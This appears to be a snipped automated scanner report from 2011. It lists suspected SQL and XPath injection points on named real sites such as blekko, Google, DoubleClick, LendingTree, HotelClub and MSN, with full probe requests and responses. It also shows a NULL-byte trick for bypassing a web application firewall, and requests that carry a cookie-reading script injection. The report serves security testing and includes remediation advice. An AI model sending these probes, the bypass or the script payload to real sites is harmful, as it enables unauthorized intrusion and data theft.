HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Feb 2011 19:37:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding Set-Cookie: fbl=2; path=/; expires=Sat, 30 Jan 2021 19:37:48 GMT Cache-Control: private, max-age=86400 Expires: Thu, 03 Feb 2011 19:37:48 GMT Content-Length: 29105 X-Blekko-PT: 26159a87074ec6fc43874b2d78f49cf0
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2 ...[SNIP]... account. It is our policy to use Personally Identifiable Information to provide our technology and services, and not provide such to anyone outside of blekko without your consent (but see ...Exceptions to this Privacy Policy... below). </li> ...[SNIP]... <li>to investigate, prevent or take action with regard to illegal activity, suspected fraud, potential threat to the physical safety of any individual, violations of the blekko Terms of Service, or as otherwise required by law;</li> ...[SNIP]...
Request 2
GET /ws/+/privacy HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1%00''; sessionid=352926924; fbl=2;
Response 2
HTTP/1.1 509 Server: nginx Date: Wed, 02 Feb 2011 19:37:48 GMT Content-Type: text/html Content-Length: 1357 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>bl ...[SNIP]...
1.12. http://blekko.com/ws/xss+/date [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://blekko.com
Path:
/ws/xss+/date
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /ws/xss+/date?1%00'=1 HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924; fbl=2;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2 ...[SNIP]... e configuration file world-readable. Delete /var/lib/mumble-server on purge opensc Protect against buffer overflow from rogue cards perl Fix header-parsing related security bugs. Update to Safe-2.25 postgresql-8.3 New upstream bugfix release spamassassin Update list of ARIN netblock delegations to avoid false positives in RelayEval splashy Modify lsb-base-logging.sh to avoid issues if splashy is removed but ...[SNIP]...
Request 2
GET /ws/xss+/date?1%00''=1 HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924; fbl=2;
Response 2
HTTP/1.1 509 Server: nginx Date: Wed, 02 Feb 2011 19:39:19 GMT Content-Type: text/html Content-Length: 1357 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>bl ...[SNIP]...
The suggestedSlashtagsList cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the suggestedSlashtagsList cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /ws/xss+/date HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1'; sessionid=352926924; fbl=2;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2 ...[SNIP]... e configuration file world-readable. Delete /var/lib/mumble-server on purge opensc Protect against buffer overflow from rogue cards perl Fix header-parsing related security bugs. Update to Safe-2.25 postgresql-8.3 New upstream bugfix release spamassassin Update list of ARIN netblock delegations to avoid false positives in RelayEval splashy Modify lsb-base-logging.sh to avoid issues if splashy is removed but ...[SNIP]...
Request 2
GET /ws/xss+/date HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1''; sessionid=352926924; fbl=2;
Response 2
HTTP/1.1 509 Server: nginx Date: Wed, 02 Feb 2011 19:39:16 GMT Content-Type: text/html Content-Length: 1357 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>bl ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /ws/xss+'/site=ha.ckers.org HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924; fbl=2;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2 ...[SNIP]... <p class="desc" id="snippet7">For those of you who are familiar with the RSA diminutive munitions project from ages ago, back when it was illegal to export certain crypto systems, and the diminutive PERL contests I've enacted a similar contest to write a diminutive self replicating <strong> ...[SNIP]...
Request 2
GET /ws/xss+''/site=ha.ckers.org HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924; fbl=2;
Response 2
HTTP/1.1 509 Server: nginx Date: Wed, 02 Feb 2011 19:40:07 GMT Content-Type: text/html Content-Length: 1357 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title>bl ...[SNIP]...
The color_url parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the color_url parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /pagead/ads?client=ca-pub-4537085524273794&format=728x90_as&output=html&h=90&w=728&lmt=1296698959&channel=5128047824&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fboardreader.com%2Faffiliate%2Fgagbanner.html%3Fsize%3Dtop%26rand%3D24449163&color_bg=FFFFFF&color_border=FFFFFF&color_link=105cb6&color_text=333333&color_url=4F7500'&flash=10.1.103&url=http%3A%2F%2Fboardreader.com%2Fdomain%2F2mdn.net%2Fx22%3Febef7%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6f696982a6d%3D1&dt=1296677359026&shv=r20101117&jsv=r20110120&saldr=1&prev_fmts=468x60_as%2C300x250_as&correlator=1296677358676&frm=0&adk=3538353238&ga_vid=1197951510.1296677341&ga_sid=1296677341&ga_hid=700497370&ga_fc=1&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1020&bih=969&fu=0&ifi=3&dtd=43&xpc=pQKAErLDpJ&p=http%3A//boardreader.com HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://boardreader.com/domain/2mdn.net/x22?ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 1
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Wed, 02 Feb 2011 20:37:30 GMT Server: cafe Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 13020
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><style>a:link,a:visited,a:hover,a:active{color:#105cb6;cursor:pointer;}body,table,div,ul,li{font-s ...[SNIP]... <span>Fix Registry Error - Free</span> ...[SNIP]...
Request 2
GET /pagead/ads?client=ca-pub-4537085524273794&format=728x90_as&output=html&h=90&w=728&lmt=1296698959&channel=5128047824&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fboardreader.com%2Faffiliate%2Fgagbanner.html%3Fsize%3Dtop%26rand%3D24449163&color_bg=FFFFFF&color_border=FFFFFF&color_link=105cb6&color_text=333333&color_url=4F7500''&flash=10.1.103&url=http%3A%2F%2Fboardreader.com%2Fdomain%2F2mdn.net%2Fx22%3Febef7%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6f696982a6d%3D1&dt=1296677359026&shv=r20101117&jsv=r20110120&saldr=1&prev_fmts=468x60_as%2C300x250_as&correlator=1296677358676&frm=0&adk=3538353238&ga_vid=1197951510.1296677341&ga_sid=1296677341&ga_hid=700497370&ga_fc=1&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1020&bih=969&fu=0&ifi=3&dtd=43&xpc=pQKAErLDpJ&p=http%3A//boardreader.com HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://boardreader.com/domain/2mdn.net/x22?ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 2
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Wed, 02 Feb 2011 20:37:32 GMT Server: cafe Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 12984
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><style>a:link,a:visited,a:hover,a:active{color:#105cb6;cursor:pointer;}body,table,div,ul,li{font-s ...[SNIP]...
The saldr parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the saldr parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /pagead/ads?client=ca-pub-4537085524273794&format=728x90_as&output=html&h=90&w=728&lmt=1296698959&channel=5128047824&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fboardreader.com%2Faffiliate%2Fgagbanner.html%3Fsize%3Dtop%26rand%3D24449163&color_bg=FFFFFF&color_border=FFFFFF&color_link=105cb6&color_text=333333&color_url=4F7500&flash=10.1.103&url=http%3A%2F%2Fboardreader.com%2Fdomain%2F2mdn.net%2Fx22%3Febef7%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6f696982a6d%3D1&dt=1296677359026&shv=r20101117&jsv=r20110120&saldr=1'&prev_fmts=468x60_as%2C300x250_as&correlator=1296677358676&frm=0&adk=3538353238&ga_vid=1197951510.1296677341&ga_sid=1296677341&ga_hid=700497370&ga_fc=1&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1020&bih=969&fu=0&ifi=3&dtd=43&xpc=pQKAErLDpJ&p=http%3A//boardreader.com HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://boardreader.com/domain/2mdn.net/x22?ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 1
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Wed, 02 Feb 2011 20:40:18 GMT Server: cafe Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 12964
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><style>a:link,a:visited,a:hover,a:active{color:#105cb6;cursor:pointer;}body,table,div,ul,li{font-s ...[SNIP]... xcfyn7W6kDqWYQ&client=ca-pub-4537085524273794&adurl=http://app.insightgrit.com/Visit.php%3Fvt%3DO%26rid%3D84196991143186%26chid%3D320%26schid%3D320492%26c%3D84196%26kw%3Ddomain%2520name%2520system%2520error%26adid%3D5757498299%26cid%3D9496%26lsd%3DGoogle-Network%26_kk%3Ddomain%2520name%2520system%2520error%26_kt%3Df00942f2-b211-4990-ac15-86efd643f595" id=aw2 onclick="ha('aw2')" onfocus="ss('','aw2')" onm ...[SNIP]...
Request 2
GET /pagead/ads?client=ca-pub-4537085524273794&format=728x90_as&output=html&h=90&w=728&lmt=1296698959&channel=5128047824&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fboardreader.com%2Faffiliate%2Fgagbanner.html%3Fsize%3Dtop%26rand%3D24449163&color_bg=FFFFFF&color_border=FFFFFF&color_link=105cb6&color_text=333333&color_url=4F7500&flash=10.1.103&url=http%3A%2F%2Fboardreader.com%2Fdomain%2F2mdn.net%2Fx22%3Febef7%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6f696982a6d%3D1&dt=1296677359026&shv=r20101117&jsv=r20110120&saldr=1''&prev_fmts=468x60_as%2C300x250_as&correlator=1296677358676&frm=0&adk=3538353238&ga_vid=1197951510.1296677341&ga_sid=1296677341&ga_hid=700497370&ga_fc=1&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1020&bih=969&fu=0&ifi=3&dtd=43&xpc=pQKAErLDpJ&p=http%3A//boardreader.com HTTP/1.1 Host: googleads.g.doubleclick.net Proxy-Connection: keep-alive Referer: http://boardreader.com/domain/2mdn.net/x22?ebef7%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6f696982a6d=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response 2
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Wed, 02 Feb 2011 20:40:20 GMT Server: cafe Cache-Control: private, x-gzip-ok="" X-XSS-Protection: 1; mode=block Content-Length: 12834
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><style>a:link,a:visited,a:hover,a:active{color:#105cb6;cursor:pointer;}body,table,div,ul,li{font-s ...[SNIP]...
The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payload " was submitted in the Referer HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Oracle.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /news/story HTTP/1.1 Host: news.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q="
Response (redirected)
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Set-Cookie: NID=43=EYtHjiYP5kOB7gTcEAAy1Jtw9LIAHRdjqdU_4_7j9uSCko6Gh0azHUYusGbifXTXcYEqyKocrdBs80Bh6bDWIuEn2OfLiIDq4LoIRKO8fcCXiyHs_5xz2mVk7MM0B_ky;Domain=.google.com;Path=/;Expires=Wed, 03-Aug-2011 15:37:34 GMT;HttpOnly Date: Tue, 01 Feb 2011 15:37:34 GMT Expires: Tue, 01 Feb 2011 15:37:34 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="X-UA-Compatible" content="IE=8"> <meta http-equiv="Content-Type" content="text/h ...[SNIP]... 4J2H2Wkg4gnMQE_p195fMUAgpcYIJDx3t6nec_c3lUnCVmWZbc_9ZeNoniVbpA7w12s9pN6LyGsevEpyJYhJ6I5oVGvf9uODE4dFv4Sa56mF-bgTriJon7LM5OQPrJx-Ba3v1gkLXwM0lS1nMnwUXa_mPtsJLog92IUPKygEGcxUdj8_KZ6pSr36M6ZnpubYu4k0GbM_wORA-3s3PCXoiAukf4CILbvlAfvTcSoBZtxbTjMbbvbHKfXqbzI-_5gpc5CxOpFcoscw3IsBQvavUYkgZvE-UL059BwpBY0MNrIlUr4WHVPXpPkAHOzQRuShQ-BMYPRGLnRabtOxD-XDuZx_Y0ZyVD61nhZTHjpTTBxw95QaJ1yZDUKfVal2_dEB7PO59pYfTUWMtZUgVAGRviG ...[SNIP]...
The 800Num parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the 800Num parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 HTTP/1.1 Host: offers.lendingtree.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1 (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 15:38:24 GMT Server: Microsoft-IIS/7.0 Set-Cookie: ASP.NET_SessionId=3rvf2azbtvqvcurys2gfk355; path=/; HttpOnly X-AspNet-Version: 2.0.50727 X-Nickname: Shaggy X-Powered-By: ASP.NET Content-Length: 30033 Connection: Close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="ctl00_Head1"><meta h ...[SNIP]...
GET /splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731''&adtype=2 HTTP/1.1 Host: offers.lendingtree.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 15:38:25 GMT Location: http://offers.lendingtree.com/splitter/splitter.ashx?id=displaysfrefidirect&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731''&adtype=2 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Nickname: Shaggy X-Powered-By: ASP.NET Content-Length: 290 Connection: Close
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://offers.lendingtree.com/splitter/splitter.ashx?id=displaysfrefidirect&promo=00313&source=4666360&es ...[SNIP]...
The hl\x3den\x26tab\x3dwe\x22 parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the hl\x3den\x26tab\x3dwe\x22 parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /finance?hl\x3den\x26tab\x3dwe\x22' HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; TZ=360; SSDATA-DOMAIN=ikjREw(0:; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Google Finance: Stock market quotes, news, currency conversions & more</title> <meta nam ...[SNIP]... <div class=snippet>By Ryan Vlastelica NEW YORK, Feb 2 (Reuters) - US stocks were little changed on Wednesday as a strong reading on the labor market failed to extend gains a day after the Dow and S&P reached their highest close in about 2-1/2 years.</div> ...[SNIP]...
Request 2
GET /finance?hl\x3den\x26tab\x3dwe\x22'' HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; TZ=360; SSDATA-DOMAIN=ikjREw(0:; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET / HTTP/1.1 Host: www.hotelclub.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q='
Response 1
HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/6.0 P3P: CP="NOI DEVa TAIa OUR BUS UNI" X-Powered-By: ASP.NET ntCoent-Length: 13176 Content-Type: text/html; Charset=windows-1252 Expires: Wed, 02 Feb 2011 15:58:39 GMT Cache-Control: private Vary: Accept-Encoding Date: Wed, 02 Feb 2011 15:59:40 GMT Connection: close Set-Cookie: ltvisit=%7BA1C36645%2DB155%2D4858%2DA1E8%2D701A315C8806%7D; expires=Sun, 31-Dec-2034 13:00:00 GMT; path=/ Set-Cookie: ASPSESSIONIDQCDQDRTT=GNEIPJKDPDKCKEAIKMCFGKKD; path=/ Set-Cookie: NSC_JOj4vajjejllb1veb0r04rbl5rcbheu=ffffffff09d7273445525d5f4f58455e445a4a422974;path=/;httponly Content-Length: 13176
GET / HTTP/1.1 Host: www.hotelclub.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=''
XPath injection vulnerabilities arise when user-controllable data is incorporated into XPath queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Depending on the purpose for which the vulnerable query is being used, an attacker may be able to exploit an XPath injection flaw to read sensitive application data or interfere with application logic.
Issue remediation
User input should be strictly validated before being incorporated into XPath queries. In most cases, it will be appropriate to accept input containing only short alhanumeric strings. At the very least, input containing any XPath metacharacters such as " ' / @ = * [ ] ( and ) should be rejected.
The REST URL parameter 1 appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the REST URL parameter 1, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /news'/ HTTP/1.1 Host: entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 53147 Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 Set-Cookie: stad=; path=/ Set-Cookie: MC1=V=3&GUID=c371288793344ba29799f891089f3489; domain=.msn.com; expires=Mon, 04-Oct-2021 19:00:00 GMT; path=/ X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 15:35:55 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The REST URL parameter 1 appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the REST URL parameter 1, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request
GET /video'/ HTTP/1.1 Host: entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 53147 Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 Set-Cookie: stad=; path=/ Set-Cookie: MC1=V=3&GUID=c0b4ae52bcfc4e1eb9d3383e05f466fb; domain=.msn.com; expires=Mon, 04-Oct-2021 19:00:00 GMT; path=/ X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 15:33:27 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
